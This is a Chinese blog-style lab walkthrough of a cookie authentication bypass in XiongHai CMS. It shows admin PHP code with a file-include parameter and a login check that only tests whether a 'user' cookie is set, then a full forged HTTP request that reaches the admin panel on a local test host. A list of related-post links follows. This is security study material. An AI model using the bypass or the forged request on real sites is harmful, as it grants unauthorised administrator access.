熊海CMS Cookie脆弱

Cookie脆弱

文件分析,首先我们进入的是admin文件下的主文件,index.php

php 复制代码
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>

通过r参数接收文件,使用三元运算符判断文件是否为空,如果为空进入index.php,不为空则进入我们r传入的文件名的文件,存在着文件包含漏洞

files/下面的文件,那我们去files文件下进行查看,先看里面的index.php C:\phpStudy\PHPTutorial\WWW\xhcms\admin\files,checklogin.php是一个检查文件的php

php 复制代码
<?php
require '../inc/checklogin.php';
require '../inc/conn.php';
$indexopen='class="open"';
?>

C:\phpStudy\PHPTutorial\WWW\xhcms\inc·文件下,接收了user用户的cookie,并没有对它进行检验,我们可以通过user不为空进行绕过Cookie:user=121312312

php 复制代码
<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;	
}
?>

接下来我们来进行实践,访问http://192.168.118.140/xhcms/admin/?r=login,进行抓包,修改Cookie为任意值,获得数据包

复制代码
GET /xhcms/admin/?r=index HTTP/1.1
Host: 192.168.118.140
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20120101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.118.140/xhcms/admin/?r=login
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: user=é¹
13213123
x-forwarded-for: 8.8.8.8
x-originating-ip: 8.8.8.8
x-remote-ip: 8.8.8.8
x-remote-addr: 8.8.8.8
Connection: keep-alive

放包直接进入后台

相关推荐
合才科技2 小时前
【要闻周报】网络安全与数据合规 12-31
安全·web安全
Par@ish3 小时前
【网络安全】Apache StreamPipes 严重漏洞使攻击者可夺取管理员控制权
安全·web安全·apache
汉堡包0013 小时前
【面试总结】--安服实习岗(2)
学习·安全·web安全·网络安全·面试
乾元9 小时前
Network-as-Code:把 HCIE / CCIE 实验脚本转为企业级 CI 工程化流程
运维·网络·人工智能·安全·web安全·ai·架构
小快说网安1 天前
从合规到发展:新《网络安全法》如何重塑企业安全建设逻辑
安全·web安全·等保测评
儒道易行1 天前
平凡的2025年终总结
网络·安全·web安全
m0_738120721 天前
渗透测试——靶机DC-6详细横向过程(Wordpress渗透)
服务器·网络·python·web安全·ssh·php
week_泽1 天前
Dvwa靶场搭建_错误汇总
web安全·网络安全·靶场·dvwa
week_泽1 天前
网安基础_1_补充_网络安全渗透测试学习笔记
笔记·学习·web安全
蓝之白1 天前
WEB安全_AI_WAF
web安全·ctf